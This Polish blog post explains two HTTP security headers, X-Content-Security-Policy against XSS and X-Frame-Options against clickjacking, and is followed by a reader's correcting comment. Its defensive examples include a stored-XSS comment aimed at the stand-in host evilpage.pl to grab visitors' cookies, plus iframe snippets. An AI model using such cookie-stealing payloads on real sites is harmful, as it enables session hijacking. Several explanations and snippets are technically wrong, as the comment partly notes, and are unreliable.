W tym krótkim wpisie chciałbym przedstawić dwa całkiem przydatne nagłówki zwiększające bezpieczeństwo tworzonych serwisów WWW.
Pierwszym z nagłówków jest X-Content-Security-Policy chroniącym przed atakiem typu XSS (Cross-Site Scripting). Drugim natomiast jest nagłówek X-Frame-Options, który chroni przed Clickjackingiem.
X-Content-Security-Policy
Nagłówek X-Content-Security-Policy wprowadza koncepcję CSP po stronie serwera, która jest z całą pewnością znana każdemu, kto miał styczność z Ajaksem. Mowa tutaj o technologii Content Security Policy, czyli ograniczeniu możliwości pobierania danych wyłącznie z tej samej domeny (zasada tożsamego pochodzenia).
Dzięki nagłówkowi X-Content-Security-Policy ta sama zasada będzie panować po stronie serwera!
Co dzięki temu uzyskujemy? Otóż, jeśli ktoś przeprowadzi pomyślny atak XSS i uda mu się osadzić na nieswojej stronie kod HTML odwołujący do zewnętrznych domen – ta operacja nie zostanie wykonana.
Przykładowo (bez ww. zabezpieczenia), dajemy naszym klientom możliwość komentowania artykułów na stronie. Złowrogi Jan Kowalski w polu formularza wprowadza następujący ciąg:
1 | <img src="http://evilpage.pl/kill_them_all.jpg?<script>document.cookie;</script>" /> |
Komentarz się zapisuje i przy każdym kolejnym wyświetleniu strony zostaje wykonany.
Dzięki temu do autora strony evilpage.pl trafiają ciasteczka każdego kolejnego odwiedzającego stronę ze złowrogim kodem. Co jeśli w danej chwili klient jest zalogowany i w ciasteczku ma zapisany swój identyfikator sesji? Jeśli strona nie jest zabezpieczona przed Session Hijackingiem to haker z łatwością przejmie kontrolę nad kontem.
Tak więc nagłówek X-Content-Security-Policy sprawi, iż powyższy kod nie zostanie wykonany, a ciasteczka użytkownika nie zostaną przekazane do niedobrego Jana Kowalskiego.
Wady nagłówka X-Content-Security-Policy
Oczywiście ma to swoje wady – nie możemy korzystać z zewnętrznych obrazów, stylów CSS, skryptów JavaScript, etc.
Niemniej jednak nagłówek jest na tyle uniwersalny, że możemy w nim ustawić domeny i pliki, których użycie dozwolimy na naszej stronie.
Najgorszą wadą takiego rozwiązania jest niepełna jeszcze implementacja przez przeglądarki – z tego co się doczytałem, to tylko nowsze wersje Firefoxa sobie z tym radzą.
Przykłady nagłówka:
1 | X-Content-Security-Policy: allow 'self' |
1 2 3 | X-Content-Security-Policy: allow 'self'; img-src *; \ object-src media1.com media2.com *.cdn.com; \ script-src trustedscripts.example.com |
Więcej o samej idei, wykorzystaniu, zastosowaniu, wadach i zaletach można poczytać na stronie Mozilli, CSP Specification.
X-Frame-Options
1 | X-Frame-Options: deny |
Drugi z kolei nagłówek chroni nas przed Clickjackingiem. Clickjacking polega na przechwytywaniu kliknięć na danej stronie. Przykładem zastosowania tej techniki ataku jest skrypt automatycznie klikający w reklamy na danej stronie.
Najprostszy przykład może wyglądać następująco:
1 | <iframe src="http://allegro.pl/" id="myFrame" frameborder="0" width="1" height="1"></iframe> |
Po czym do takiej pływającej ramki możemy odwoływać się następująco:
1 | var iFrame = document.getElementById('myFrame').contentWindow; |
W ramce możemy wyszukać wszystkie linki:
1 | var links = iFrame.getElementByTagName('a'); |
Po czym przechodząc po każdym po kolei w pętli, wywoływać adres w nowym oknie :-)
Obroną przed Clickjackingiem jest nagłówek X-Frame-Options. Sprawia on, iż złowrogi Jan Kowalski chcący otworzyć naszą stronę w ramce lub pływającej ramce, dostanie błąd odpowiedzi i całość spełznie na niczym.
Zamiast tego zostanie wyświetlona przyjazna strona informująca, iż podany adres nie może zostać otworzony w ramce, a jedynie w nowym oknie.
Wady nagłówka X-Frame-Options
Niestety, także i ten nagłówek posiada pewne wady. Największą z nich jest niepełna implementacja przez przeglądarki.
Z tego co widzę, strona z tym nagłówkiem nie zostanie otworzona w Internet Explorer 8, Opera 10.60 i Chrome 5.0. Jednak strona w ramce zostaje normalnie otwarta w IE6, IE7, Mozilla i innych, także nadal nie jest to najlepsze zabezpieczenie.
Pozostaje więc używać klasycznego:
1 2 3 4 5 | <script language="javascript" type="text/javascript"> if (top != self) { top.location=self.location; } </script> |
A nagłówek dodawać jako ewentualny dodatek.
Przydatne materiały:
Kilka słów podsumowania
Cieszy mnie bardzo, że niektóre nowoczesne przeglądarki wychodzą z takimi szczytnymi zabezpieczeniami i próbują dbać, zarówno o przeglądających strony, jak i pomagają webmasterom.
Niestety, nadal nie można w pełni polegać na powyższych nagłówkach, a stanowią one jedynie dodatek do istniejących zabezpieczeń.
Co jeśli złowrogi użytkownik celowo użyje przestarzałej przeglądarki pozwalającej na przeprowadzanie ataków? Co jeśli haker napisał sobie własną przeglądarkę, łamiąc wszelkie reguły i zasady bezpieczeństwa?
Podsumowując, dodawanie tego typu nagłówków jest bardzo dobrą praktyką, jednak nie możemy wyłącznie na tym polegać.
Witam,
co do: var links = iFrame.getElementByTagName(‚a’) — to takie cos nie zadziała, bo strona w iframe’a jest z innej domeny niż strona która zawiera ramkę, czyli JS nie będzie mógł się do niej w żaden sposób odwoływać, tak więc nawet nie trzeba żadnych dodatkowych nagłówków jak X-Frame-Options :)
„Co jeśli złowrogi użytkownik celowo użyje przestarzałej przeglądarki pozwalającej na przeprowadzanie ataków? Co jeśli haker napisał sobie własną przeglądarkę, łamiąc wszelkie reguły i zasady bezpieczeństwa?”
Właściwie to jaki to atak mógłby zrobić? — musiałby jakoś nakłonić swoje „ofiary” żeby uźyli jego przeglądarkę :)